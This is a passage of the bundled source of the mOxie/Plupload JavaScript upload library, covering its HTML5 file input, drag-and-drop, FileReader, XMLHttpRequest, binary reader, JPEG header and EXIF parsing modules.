define("moxie/runtime/html5/file/FileInput", [
	"moxie/runtime/html5/Runtime",
	"moxie/file/File",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/utils/Events",
	"moxie/core/utils/Mime",
	"moxie/core/utils/Env"
], function(extensions, File, Basic, Dom, Events, Mime, Env) {
	
	function FileInput() {
		var _options;

		Basic.extend(this, {
			init: function(options) {
				var comp = this, I = comp.getRuntime(), input, shimContainer, mimes, browseButton, zIndex, top;

				_options = options;

				// figure out accept string
				mimes = _options.accept.mimes || Mime.extList2mimes(_options.accept, I.can('filter_by_extension'));

				shimContainer = I.getShimContainer();

				shimContainer.innerHTML = '<input id="' + I.uid +'" type="file" style="font-size:999px;opacity:0;"' +
					(_options.multiple && I.can('select_multiple') ? 'multiple' : '') + 
					(_options.directory && I.can('select_folder') ? 'webkitdirectory directory' : '') + // Chrome 11+
					(mimes ? ' accept="' + mimes.join(',') + '"' : '') + ' />';

				input = Dom.get(I.uid);

				// prepare file input to be placed underneath the browse_button element
				Basic.extend(input.style, {
					position: 'absolute',
					top: 0,
					left: 0,
					width: '100%',
					height: '100%'
				});


				browseButton = Dom.get(_options.browse_button);

				// Route click event to the input[type=file] element for browsers that support such behavior
				if (I.can('summon_file_dialog')) {
					if (Dom.getStyle(browseButton, 'position') === 'static') {
						browseButton.style.position = 'relative';
					}

					zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;

					browseButton.style.zIndex = zIndex;
					shimContainer.style.zIndex = zIndex - 1;

					Events.addEvent(browseButton, 'click', function(e) {
						var input = Dom.get(I.uid);
						if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
							input.click();
						}
						e.preventDefault();
					}, comp.uid);
				}

				/* Since we have to place input[type=file] on top of the browse_button for some browsers,
				browse_button loses interactivity, so we restore it here */
				top = I.can('summon_file_dialog') ? browseButton : shimContainer;

				Events.addEvent(top, 'mouseover', function() {
					comp.trigger('mouseenter');
				}, comp.uid);

				Events.addEvent(top, 'mouseout', function() {
					comp.trigger('mouseleave');
				}, comp.uid);

				Events.addEvent(top, 'mousedown', function() {
					comp.trigger('mousedown');
				}, comp.uid);

				Events.addEvent(Dom.get(_options.container), 'mouseup', function() {
					comp.trigger('mouseup');
				}, comp.uid);


				input.onchange = function onChange(e) { // there should be only one handler for this
					comp.files = [];

					Basic.each(this.files, function(file) {
						var relativePath = '';

						if (_options.directory) {
							// folders are represented by dots, filter them out (Chrome 11+)
							if (file.name == ".") {
								// if it looks like a folder...
								return true;
							}
						}

						if (file.webkitRelativePath) {
							relativePath = '/' + file.webkitRelativePath.replace(/^\//, '');
						}
						
						file = new File(I.uid, file);
						file.relativePath = relativePath;

						comp.files.push(file);
					});

					// clearing the value enables the user to select the same file again if they want to
					if (Env.browser !== 'IE' && Env.browser !== 'IEMobile') {
						this.value = '';
					} else {
						// in IE input[type="file"] is read-only so the only way to reset it is to re-insert it
						var clone = this.cloneNode(true);
						this.parentNode.replaceChild(clone, this);
						clone.onchange = onChange;
					}

					if (comp.files.length) {
						comp.trigger('change');
					}
				};

				// ready event is perfectly asynchronous
				comp.trigger({
					type: 'ready',
					async: true
				});

				shimContainer = null;
			},


			disable: function(state) {
				var I = this.getRuntime(), input;

				if ((input = Dom.get(I.uid))) {
					input.disabled = !!state;
				}
			},

			destroy: function() {
				var I = this.getRuntime()
				, shim = I.getShim()
				, shimContainer = I.getShimContainer()
				;
				
				Events.removeAllEvents(shimContainer, this.uid);
				Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
				Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
				
				if (shimContainer) {
					shimContainer.innerHTML = '';
				}

				shim.removeInstance(this.uid);

				_options = shimContainer = shim = null;
			}
		});
	}

	return (extensions.FileInput = FileInput);
});

// Included from: src/javascript/runtime/html5/file/Blob.js

/**
 * Blob.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/file/Blob
@private
*/
define("moxie/runtime/html5/file/Blob", [
	"moxie/runtime/html5/Runtime",
	"moxie/file/Blob"
], function(extensions, Blob) {

	function HTML5Blob() {
		function w3cBlobSlice(blob, start, end) {
			var blobSlice;

			if (window.File.prototype.slice) {
				try {
					blob.slice();	// depricated version will throw WRONG_ARGUMENTS_ERR exception
					return blob.slice(start, end);
				} catch (e) {
					// depricated slice method
					return blob.slice(start, end - start);
				}
			// slice method got prefixed: https://bugzilla.mozilla.org/show_bug.cgi?id=649672
			} else if ((blobSlice = window.File.prototype.webkitSlice || window.File.prototype.mozSlice)) {
				return blobSlice.call(blob, start, end);
			} else {
				return null; // or throw some exception
			}
		}

		this.slice = function() {
			return new Blob(this.getRuntime().uid, w3cBlobSlice.apply(this, arguments));
		};
	}

	return (extensions.Blob = HTML5Blob);
});

// Included from: src/javascript/runtime/html5/file/FileDrop.js

/**
 * FileDrop.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/file/FileDrop
@private
*/
define("moxie/runtime/html5/file/FileDrop", [
	"moxie/runtime/html5/Runtime",
	'moxie/file/File',
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/utils/Events",
	"moxie/core/utils/Mime"
], function(extensions, File, Basic, Dom, Events, Mime) {
	
	function FileDrop() {
		var _files = [], _allowedExts = [], _options, _ruid;

		Basic.extend(this, {
			init: function(options) {
				var comp = this, dropZone;

				_options = options;
				_ruid = comp.ruid; // every dropped-in file should have a reference to the runtime
				_allowedExts = _extractExts(_options.accept);
				dropZone = _options.container;

				Events.addEvent(dropZone, 'dragover', function(e) {
					if (!_hasFiles(e)) {
						return;
					}
					e.preventDefault();
					e.dataTransfer.dropEffect = 'copy';
				}, comp.uid);

				Events.addEvent(dropZone, 'drop', function(e) {
					if (!_hasFiles(e)) {
						return;
					}
					e.preventDefault();

					_files = [];

					// Chrome 21+ accepts folders via Drag'n'Drop
					if (e.dataTransfer.items && e.dataTransfer.items[0].webkitGetAsEntry) {
						_readItems(e.dataTransfer.items, function() {
							comp.files = _files;
							comp.trigger("drop");
						});
					} else {
						Basic.each(e.dataTransfer.files, function(file) {
							_addFile(file);
						});
						comp.files = _files;
						comp.trigger("drop");
					}
				}, comp.uid);

				Events.addEvent(dropZone, 'dragenter', function(e) {
					comp.trigger("dragenter");
				}, comp.uid);

				Events.addEvent(dropZone, 'dragleave', function(e) {
					comp.trigger("dragleave");
				}, comp.uid);
			},

			destroy: function() {
				Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
				_ruid = _files = _allowedExts = _options = null;
			}
		});


		function _hasFiles(e) {
			if (!e.dataTransfer || !e.dataTransfer.types) { // e.dataTransfer.files is not available in Gecko during dragover
				return false;
			}

			var types = Basic.toArray(e.dataTransfer.types || []);

			return Basic.inArray("Files", types) !== -1 ||
				Basic.inArray("public.file-url", types) !== -1 || // Safari < 5
				Basic.inArray("application/x-moz-file", types) !== -1 // Gecko < 1.9.2 (< Firefox 3.6)
				;
		}


		function _addFile(file, relativePath) {
			if (_isAcceptable(file)) {
				var fileObj = new File(_ruid, file);
				fileObj.relativePath = relativePath || '';
				_files.push(fileObj);
			}
		}

		
		function _extractExts(accept) {
			var exts = [];
			for (var i = 0; i < accept.length; i++) {
				[].push.apply(exts, accept[i].extensions.split(/\s*,\s*/));
			}
			return Basic.inArray('*', exts) === -1 ? exts : [];
		}


		function _isAcceptable(file) {
			if (!_allowedExts.length) {
				return true;
			}
			var ext = Mime.getFileExtension(file.name);
			return !ext || Basic.inArray(ext, _allowedExts) !== -1;
		}


		function _readItems(items, cb) {
			var entries = [];
			Basic.each(items, function(item) {
				var entry = item.webkitGetAsEntry();
				// Address #998 (https://code.google.com/p/chromium/issues/detail?id=332579)
				if (entry) {
					// file() fails on OSX when the filename contains a special character (e.g. umlaut): see #61
					if (entry.isFile) {
						_addFile(item.getAsFile(), entry.fullPath);
					} else {
						entries.push(entry);
					}
				}
			});

			if (entries.length) {
				_readEntries(entries, cb);
			} else {
				cb();
			}
		}


		function _readEntries(entries, cb) {
			var queue = [];
			Basic.each(entries, function(entry) {
				queue.push(function(cbcb) {
					_readEntry(entry, cbcb);
				});
			});
			Basic.inSeries(queue, function() {
				cb();
			});
		}


		function _readEntry(entry, cb) {
			if (entry.isFile) {
				entry.file(function(file) {
					_addFile(file, entry.fullPath);
					cb();
				}, function() {
					// fire an error event maybe
					cb();
				});
			} else if (entry.isDirectory) {
				_readDirEntry(entry, cb);
			} else {
				cb(); // not file, not directory? what then?..
			}
		}


		function _readDirEntry(dirEntry, cb) {
			var entries = [], dirReader = dirEntry.createReader();

			// keep quering recursively till no more entries
			function getEntries(cbcb) {
				dirReader.readEntries(function(moreEntries) {
					if (moreEntries.length) {
						[].push.apply(entries, moreEntries);
						getEntries(cbcb);
					} else {
						cbcb();
					}
				}, cbcb);
			}

			// ...and you thought FileReader was crazy...
			getEntries(function() {
				_readEntries(entries, cb);
			}); 
		}
	}

	return (extensions.FileDrop = FileDrop);
});

// Included from: src/javascript/runtime/html5/file/FileReader.js

/**
 * FileReader.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/file/FileReader
@private
*/
define("moxie/runtime/html5/file/FileReader", [
	"moxie/runtime/html5/Runtime",
	"moxie/core/utils/Encode",
	"moxie/core/utils/Basic"
], function(extensions, Encode, Basic) {
	
	function FileReader() {
		var _fr, _convertToBinary = false;

		Basic.extend(this, {

			read: function(op, blob) {
				var comp = this;

				comp.result = '';

				_fr = new window.FileReader();

				_fr.addEventListener('progress', function(e) {
					comp.trigger(e);
				});

				_fr.addEventListener('load', function(e) {
					comp.result = _convertToBinary ? _toBinary(_fr.result) : _fr.result;
					comp.trigger(e);
				});

				_fr.addEventListener('error', function(e) {
					comp.trigger(e, _fr.error);
				});

				_fr.addEventListener('loadend', function(e) {
					_fr = null;
					comp.trigger(e);
				});

				if (Basic.typeOf(_fr[op]) === 'function') {
					_convertToBinary = false;
					_fr[op](blob.getSource());
				} else if (op === 'readAsBinaryString') { // readAsBinaryString is depricated in general and never existed in IE10+
					_convertToBinary = true;
					_fr.readAsDataURL(blob.getSource());
				}
			},

			abort: function() {
				if (_fr) {
					_fr.abort();
				}
			},

			destroy: function() {
				_fr = null;
			}
		});

		function _toBinary(str) {
			return Encode.atob(str.substring(str.indexOf('base64,') + 7));
		}
	}

	return (extensions.FileReader = FileReader);
});

// Included from: src/javascript/runtime/html5/xhr/XMLHttpRequest.js

/**
 * XMLHttpRequest.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/*global ActiveXObject:true */

/**
@class moxie/runtime/html5/xhr/XMLHttpRequest
@private
*/
define("moxie/runtime/html5/xhr/XMLHttpRequest", [
	"moxie/runtime/html5/Runtime",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Mime",
	"moxie/core/utils/Url",
	"moxie/file/File",
	"moxie/file/Blob",
	"moxie/xhr/FormData",
	"moxie/core/Exceptions",
	"moxie/core/utils/Env"
], function(extensions, Basic, Mime, Url, File, Blob, FormData, x, Env) {
	
	function XMLHttpRequest() {
		var self = this
		, _xhr
		, _filename
		;

		Basic.extend(this, {
			send: function(meta, data) {
				var target = this
				, isGecko2_5_6 = (Env.browser === 'Mozilla' && Env.verComp(Env.version, 4, '>=') && Env.verComp(Env.version, 7, '<'))
				, isAndroidBrowser = Env.browser === 'Android Browser'
				, mustSendAsBinary = false
				;

				// extract file name
				_filename = meta.url.replace(/^.+?\/([\w\-\.]+)$/, '$1').toLowerCase();

				_xhr = _getNativeXHR();
				_xhr.open(meta.method, meta.url, meta.async, meta.user, meta.password);


				// prepare data to be sent
				if (data instanceof Blob) {
					if (data.isDetached()) {
						mustSendAsBinary = true;
					}
					data = data.getSource();
				} else if (data instanceof FormData) {

					if (data.hasBlob()) {
						if (data.getBlob().isDetached()) {
							data = _prepareMultipart.call(target, data); // _xhr must be instantiated and be in OPENED state
							mustSendAsBinary = true;
						} else if ((isGecko2_5_6 || isAndroidBrowser) && Basic.typeOf(data.getBlob().getSource()) === 'blob' && window.FileReader) {
							// Gecko 2/5/6 can't send blob in FormData: https://bugzilla.mozilla.org/show_bug.cgi?id=649150
							// Android browsers (default one and Dolphin) seem to have the same issue, see: #613
							_preloadAndSend.call(target, meta, data);
							return; // _preloadAndSend will reinvoke send() with transmutated FormData =%D
						}	
					}

					// transfer fields to real FormData
					if (data instanceof FormData) { // if still a FormData, e.g. not mangled by _prepareMultipart()
						var fd = new window.FormData();
						data.each(function(value, name) {
							if (value instanceof Blob) {
								fd.append(name, value.getSource());
							} else {
								fd.append(name, value);
							}
						});
						data = fd;
					}
				}


				// if XHR L2
				if (_xhr.upload) {
					if (meta.withCredentials) {
						_xhr.withCredentials = true;
					}

					_xhr.addEventListener('load', function(e) {
						target.trigger(e);
					});

					_xhr.addEventListener('error', function(e) {
						target.trigger(e);
					});

					// additionally listen to progress events
					_xhr.addEventListener('progress', function(e) {
						target.trigger(e);
					});

					_xhr.upload.addEventListener('progress', function(e) {
						target.trigger({
							type: 'UploadProgress',
							loaded: e.loaded,
							total: e.total
						});
					});
				// ... otherwise simulate XHR L2
				} else {
					_xhr.onreadystatechange = function onReadyStateChange() {
						
						// fake Level 2 events
						switch (_xhr.readyState) {
							
							case 1: // XMLHttpRequest.OPENED
								// readystatechanged is fired twice for OPENED state (in IE and Mozilla) - neu
								break;
							
							// looks like HEADERS_RECEIVED (state 2) is not reported in Opera (or it's old versions) - neu
							case 2: // XMLHttpRequest.HEADERS_RECEIVED
								break;
								
							case 3: // XMLHttpRequest.LOADING 
								// try to fire progress event for not XHR L2
								var total, loaded;
								
								try {
									if (Url.hasSameOrigin(meta.url)) { // Content-Length not accessible for cross-domain on some browsers
										total = _xhr.getResponseHeader('Content-Length') || 0; // old Safari throws an exception here
									}

									if (_xhr.responseText) { // responseText was introduced in IE7
										loaded = _xhr.responseText.length;
									}
								} catch(ex) {
									total = loaded = 0;
								}

								target.trigger({
									type: 'progress',
									lengthComputable: !!total,
									total: parseInt(total, 10),
									loaded: loaded
								});
								break;
								
							case 4: // XMLHttpRequest.DONE
								// release readystatechange handler (mostly for IE)
								_xhr.onreadystatechange = function() {};

								// usually status 0 is returned when server is unreachable, but FF also fails to status 0 for 408 timeout
								if (_xhr.status === 0) {
									target.trigger('error');
								} else {
									target.trigger('load');
								}							
								break;
						}
					};
				}
				

				// set request headers
				if (!Basic.isEmptyObj(meta.headers)) {
					Basic.each(meta.headers, function(value, header) {
						_xhr.setRequestHeader(header, value);
					});
				}

				// request response type
				if ("" !== meta.responseType && 'responseType' in _xhr) {
					if ('json' === meta.responseType && !Env.can('return_response_type', 'json')) { // we can fake this one
						_xhr.responseType = 'text';
					} else {
						_xhr.responseType = meta.responseType;
					}
				}

				// send ...
				if (!mustSendAsBinary) {
					_xhr.send(data);
				} else {
					if (_xhr.sendAsBinary) { // Gecko
						_xhr.sendAsBinary(data);
					} else { // other browsers having support for typed arrays
						(function() {
							// mimic Gecko's sendAsBinary
							var ui8a = new Uint8Array(data.length);
							for (var i = 0; i < data.length; i++) {
								ui8a[i] = (data.charCodeAt(i) & 0xff);
							}
							_xhr.send(ui8a.buffer);
						}());
					}
				}

				target.trigger('loadstart');
			},

			getStatus: function() {
				// according to W3C spec it should return 0 for readyState < 3, but instead it throws an exception
				try {
					if (_xhr) {
						return _xhr.status;
					}
				} catch(ex) {}
				return 0;
			},

			getResponse: function(responseType) {
				var I = this.getRuntime();

				try {
					switch (responseType) {
						case 'blob':
							var file = new File(I.uid, _xhr.response);
							
							// try to extract file name from content-disposition if possible (might be - not, if CORS for example)	
							var disposition = _xhr.getResponseHeader('Content-Disposition');
							if (disposition) {
								// extract filename from response header if available
								var match = disposition.match(/filename=([\'\"'])([^\1]+)\1/);
								if (match) {
									_filename = match[2];
								}
							}
							file.name = _filename;

							// pre-webkit Opera doesn't set type property on the blob response
							if (!file.type) {
								file.type = Mime.getFileMime(_filename);
							}
							return file;

						case 'json':
							if (!Env.can('return_response_type', 'json')) {
								return _xhr.status === 200 && !!window.JSON ? JSON.parse(_xhr.responseText) : null;
							}
							return _xhr.response;

						case 'document':
							return _getDocument(_xhr);

						default:
							return _xhr.responseText !== '' ? _xhr.responseText : null; // against the specs, but for consistency across the runtimes
					}
				} catch(ex) {
					return null;
				}				
			},

			getAllResponseHeaders: function() {
				try {
					return _xhr.getAllResponseHeaders();
				} catch(ex) {}
				return '';
			},

			abort: function() {
				if (_xhr) {
					_xhr.abort();
				}
			},

			destroy: function() {
				self = _filename = null;
			}
		});


		// here we go... ugly fix for ugly bug
		function _preloadAndSend(meta, data) {
			var target = this, blob, fr;
				
			// get original blob
			blob = data.getBlob().getSource();
			
			// preload blob in memory to be sent as binary string
			fr = new window.FileReader();
			fr.onload = function() {
				// overwrite original blob
				data.append(data.getBlobName(), new Blob(null, {
					type: blob.type,
					data: fr.result
				}));
				// invoke send operation again
				self.send.call(target, meta, data);
			};
			fr.readAsBinaryString(blob);
		}

		
		function _getNativeXHR() {
			if (window.XMLHttpRequest && !(Env.browser === 'IE' && Env.verComp(Env.version, 8, '<'))) { // IE7 has native XHR but it's buggy
				return new window.XMLHttpRequest();
			} else {
				return (function() {
					var progIDs = ['Msxml2.XMLHTTP.6.0', 'Microsoft.XMLHTTP']; // if 6.0 available, use it, otherwise failback to default 3.0
					for (var i = 0; i < progIDs.length; i++) {
						try {
							return new ActiveXObject(progIDs[i]);
						} catch (ex) {}
					}
				})();
			}
		}
		
		// @credits Sergey Ilinsky	(http://www.ilinsky.com/)
		function _getDocument(xhr) {
			var rXML = xhr.responseXML;
			var rText = xhr.responseText;
			
			// Try parsing responseText (@see: http://www.ilinsky.com/articles/XMLHttpRequest/#bugs-ie-responseXML-content-type)
			if (Env.browser === 'IE' && rText && rXML && !rXML.documentElement && /[^\/]+\/[^\+]+\+xml/.test(xhr.getResponseHeader("Content-Type"))) {
				rXML = new window.ActiveXObject("Microsoft.XMLDOM");
				rXML.async = false;
				rXML.validateOnParse = false;
				rXML.loadXML(rText);
			}
	
			// Check if there is no error in document
			if (rXML) {
				if ((Env.browser === 'IE' && rXML.parseError !== 0) || !rXML.documentElement || rXML.documentElement.tagName === "parsererror") {
					return null;
				}
			}
			return rXML;
		}


		function _prepareMultipart(fd) {
			var boundary = '----moxieboundary' + new Date().getTime()
			, dashdash = '--'
			, crlf = '\r\n'
			, multipart = ''
			, I = this.getRuntime()
			;

			if (!I.can('send_binary_string')) {
				throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
			}

			_xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=' + boundary);

			// append multipart parameters
			fd.each(function(value, name) {
				// Firefox 3.6 failed to convert multibyte characters to UTF-8 in sendAsBinary(), 
				// so we try it here ourselves with: unescape(encodeURIComponent(value))
				if (value instanceof Blob) {
					// Build RFC2388 blob
					multipart += dashdash + boundary + crlf +
						'Content-Disposition: form-data; name="' + name + '"; filename="' + unescape(encodeURIComponent(value.name || 'blob')) + '"' + crlf +
						'Content-Type: ' + (value.type || 'application/octet-stream') + crlf + crlf +
						value.getSource() + crlf;
				} else {
					multipart += dashdash + boundary + crlf +
						'Content-Disposition: form-data; name="' + name + '"' + crlf + crlf +
						unescape(encodeURIComponent(value)) + crlf;
				}
			});

			multipart += dashdash + boundary + dashdash + crlf;

			return multipart;
		}
	}

	return (extensions.XMLHttpRequest = XMLHttpRequest);
});

// Included from: src/javascript/runtime/html5/utils/BinaryReader.js

/**
 * BinaryReader.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/utils/BinaryReader
@private
*/
define("moxie/runtime/html5/utils/BinaryReader", [
	"moxie/core/utils/Basic"
], function(Basic) {

	
	function BinaryReader(data) {
		if (data instanceof ArrayBuffer) {
			ArrayBufferReader.apply(this, arguments);
		} else {
			UTF16StringReader.apply(this, arguments);
		}
	}

	Basic.extend(BinaryReader.prototype, {
		
		littleEndian: false,


		read: function(idx, size) {
			var sum, mv, i;

			if (idx + size > this.length()) {
				throw new Error("You are trying to read outside the source boundaries.");
			}
			
			mv = this.littleEndian 
				? 0 
				: -8 * (size - 1)
			;

			for (i = 0, sum = 0; i < size; i++) {
				sum |= (this.readByteAt(idx + i) << Math.abs(mv + i*8));
			}
			return sum;
		},


		write: function(idx, num, size) {
			var mv, i, str = '';

			if (idx > this.length()) {
				throw new Error("You are trying to write outside the source boundaries.");
			}

			mv = this.littleEndian 
				? 0 
				: -8 * (size - 1)
			;

			for (i = 0; i < size; i++) {
				this.writeByteAt(idx + i, (num >> Math.abs(mv + i*8)) & 255);
			}
		},


		BYTE: function(idx) {
			return this.read(idx, 1);
		},


		SHORT: function(idx) {
			return this.read(idx, 2);
		},


		LONG: function(idx) {
			return this.read(idx, 4);
		},


		SLONG: function(idx) { // 2's complement notation
			var num = this.read(idx, 4);
			return (num > 2147483647 ? num - 4294967296 : num);
		},


		CHAR: function(idx) {
			return String.fromCharCode(this.read(idx, 1));
		},


		STRING: function(idx, count) {
			return this.asArray('CHAR', idx, count).join('');
		},


		asArray: function(type, idx, count) {
			var values = [];

			for (var i = 0; i < count; i++) {
				values[i] = this[type](idx + i);
			}
			return values;
		}
	});


	function ArrayBufferReader(data) {
		var _dv = new DataView(data);

		Basic.extend(this, {
			
			readByteAt: function(idx) {
				return _dv.getUint8(idx);
			},


			writeByteAt: function(idx, value) {
				_dv.setUint8(idx, value);
			},
			

			SEGMENT: function(idx, size, value) {
				switch (arguments.length) {
					case 2:
						return data.slice(idx, idx + size);

					case 1:
						return data.slice(idx);

					case 3:
						if (value === null) {
							value = new ArrayBuffer();
						}

						if (value instanceof ArrayBuffer) {					
							var arr = new Uint8Array(this.length() - size + value.byteLength);
							if (idx > 0) {
								arr.set(new Uint8Array(data.slice(0, idx)), 0);
							}
							arr.set(new Uint8Array(value), idx);
							arr.set(new Uint8Array(data.slice(idx + size)), idx + value.byteLength);

							this.clear();
							data = arr.buffer;
							_dv = new DataView(data);
							break;
						}

					default: return data;
				}
			},


			length: function() {
				return data ? data.byteLength : 0;
			},


			clear: function() {
				_dv = data = null;
			}
		});
	}


	function UTF16StringReader(data) {
		Basic.extend(this, {
			
			readByteAt: function(idx) {
				return data.charCodeAt(idx);
			},


			writeByteAt: function(idx, value) {
				putstr(String.fromCharCode(value), idx, 1);
			},


			SEGMENT: function(idx, length, segment) {
				switch (arguments.length) {
					case 1:
						return data.substr(idx);
					case 2:
						return data.substr(idx, length);
					case 3:
						putstr(segment !== null ? segment : '', idx, length);
						break;
					default: return data;
				}
			},


			length: function() {
				return data ? data.length : 0;
			}, 

			clear: function() {
				data = null;
			}
		});


		function putstr(segment, idx, length) {
			length = arguments.length === 3 ? length : data.length - idx - 1;
			data = data.substr(0, idx) + segment + data.substr(length + idx);
		}
	}


	return BinaryReader;
});

// Included from: src/javascript/runtime/html5/image/JPEGHeaders.js

/**
 * JPEGHeaders.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */
 
/**
@class moxie/runtime/html5/image/JPEGHeaders
@private
*/
define("moxie/runtime/html5/image/JPEGHeaders", [
	"moxie/runtime/html5/utils/BinaryReader",
	"moxie/core/Exceptions"
], function(BinaryReader, x) {
	
	return function JPEGHeaders(data) {
		var headers = [], _br, idx, marker, length = 0;

		_br = new BinaryReader(data);

		// Check if data is jpeg
		if (_br.SHORT(0) !== 0xFFD8) {
			_br.clear();
			throw new x.ImageError(x.ImageError.WRONG_FORMAT);
		}

		idx = 2;

		while (idx <= _br.length()) {
			marker = _br.SHORT(idx);

			// omit RST (restart) markers
			if (marker >= 0xFFD0 && marker <= 0xFFD7) {
				idx += 2;
				continue;
			}

			// no headers allowed after SOS marker
			if (marker === 0xFFDA || marker === 0xFFD9) {
				break;
			}

			length = _br.SHORT(idx + 2) + 2;

			// APPn marker detected
			if (marker >= 0xFFE1 && marker <= 0xFFEF) {
				headers.push({
					hex: marker,
					name: 'APP' + (marker & 0x000F),
					start: idx,
					length: length,
					segment: _br.SEGMENT(idx, length)
				});
			}

			idx += length;
		}

		_br.clear();

		return {
			headers: headers,

			restore: function(data) {
				var max, i, br;

				br = new BinaryReader(data);

				idx = br.SHORT(2) == 0xFFE0 ? 4 + br.SHORT(4) : 2;

				for (i = 0, max = headers.length; i < max; i++) {
					br.SEGMENT(idx, 0, headers[i].segment);
					idx += headers[i].length;
				}

				data = br.SEGMENT();
				br.clear();
				return data;
			},

			strip: function(data) {
				var br, headers, jpegHeaders, i;

				jpegHeaders = new JPEGHeaders(data);
				headers = jpegHeaders.headers;
				jpegHeaders.purge();

				br = new BinaryReader(data);

				i = headers.length;
				while (i--) {
					br.SEGMENT(headers[i].start, headers[i].length, '');
				}
				
				data = br.SEGMENT();
				br.clear();
				return data;
			},

			get: function(name) {
				var array = [];

				for (var i = 0, max = headers.length; i < max; i++) {
					if (headers[i].name === name.toUpperCase()) {
						array.push(headers[i].segment);
					}
				}
				return array;
			},

			set: function(name, segment) {
				var array = [], i, ii, max;

				if (typeof(segment) === 'string') {
					array.push(segment);
				} else {
					array = segment;
				}

				for (i = ii = 0, max = headers.length; i < max; i++) {
					if (headers[i].name === name.toUpperCase()) {
						headers[i].segment = array[ii];
						headers[i].length = array[ii].length;
						ii++;
					}
					if (ii >= array.length) {
						break;
					}
				}
			},

			purge: function() {
				this.headers = headers = [];
			}
		};
	};
});

// Included from: src/javascript/runtime/html5/image/ExifParser.js

/**
 * ExifParser.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

/**
@class moxie/runtime/html5/image/ExifParser
@private
*/
define("moxie/runtime/html5/image/ExifParser", [
	"moxie/core/utils/Basic",
	"moxie/runtime/html5/utils/BinaryReader",
	"moxie/core/Exceptions"
], function(Basic, BinaryReader, x) {
	
	function ExifParser(data) {
		var __super__, tags, tagDescs, offsets, idx, Tiff;
		
		BinaryReader.call(this, data);

		tags = {
			tiff: {
				/*
				The image orientation viewed in terms of rows and columns.

				1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
				2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
				3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
				4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
				5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
				6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
				7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
				8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
				*/
				0x0112: 'Orientation',
				0x010E: 'ImageDescription',
				0x010F: 'Make',
				0x0110: 'Model',
				0x0131: 'Software',
				0x8769: 'ExifIFDPointer',
				0x8825:	'GPSInfoIFDPointer'
			},
			exif: {
				0x9000: 'ExifVersion',
				0xA001: 'ColorSpace',
				0xA002: 'PixelXDimension',
				0xA003: 'PixelYDimension',
				0x9003: 'DateTimeOriginal',
				0x829A: 'ExposureTime',
				0x829D: 'FNumber',
				0x8827: 'ISOSpeedRatings',
				0x9201: 'ShutterSpeedValue',
				0x9202: 'ApertureValue'	,
				0x9207: 'MeteringMode',
				0x9208: 'LightSource',
				0x9209: 'Flash',
				0x920A: 'FocalLength',
				0xA402: 'ExposureMode',
				0xA403: 'WhiteBalance',
				0xA406: 'SceneCaptureType',
				0xA404: 'DigitalZoomRatio',
				0xA408: 'Contrast',
				0xA409: 'Saturation',
				0xA40A: 'Sharpness'
			},
			gps: {
				0x0000: 'GPSVersionID',
				0x0001: 'GPSLatitudeRef',
				0x0002: 'GPSLatitude',
				0x0003: 'GPSLongitudeRef',
				0x0004: 'GPSLongitude'
			},

			thumb: {
				0x0201: 'JPEGInterchangeFormat',
				0x0202: 'JPEGInterchangeFormatLength'
			}
		};

		tagDescs = {
			'ColorSpace': {
				1: 'sRGB',
				0: 'Uncalibrated'
			},

			'MeteringMode': {
				0: 'Unknown',
				1: 'Average',
				2: 'CenterWeightedAverage',
				3: 'Spot',
				4: 'MultiSpot',
				5: 'Pattern',
				6: 'Partial',
				255: 'Other'
			},

			'LightSource': {
				1: 'Daylight',
				2: 'Fliorescent',
				3: 'Tungsten',
				4: 'Flash',
				9: 'Fine weather',
				10: 'Cloudy weather',
				11: 'Shade',
				12: 'Daylight fluorescent (D 5700 - 7100K)',
				13: 'Day white fluorescent (N 4600 -5400K)',
				14: 'Cool white fluorescent (W 3900 - 4500K)',
				15: 'White fluorescent (WW 3200 - 3700K)',
				17: 'Standard light A',
				18: 'Standard light B',
				19: 'Standard light C',
				20: 'D55',
				21: 'D65',
				22: 'D75',
				23: 'D50',
				24: 'ISO studio tungsten',
				255: 'Other'
			},

			'Flash': {
				0x0000: 'Flash did not fire',
				0x0001: 'Flash fired',
				0x0005: 'Strobe return light not detected',
				0x0007: 'Strobe return light detected',
				0x0009: 'Flash fired, compulsory flash mode',
				0x000D: 'Flash fired, compulsory flash mode, return light not detected',
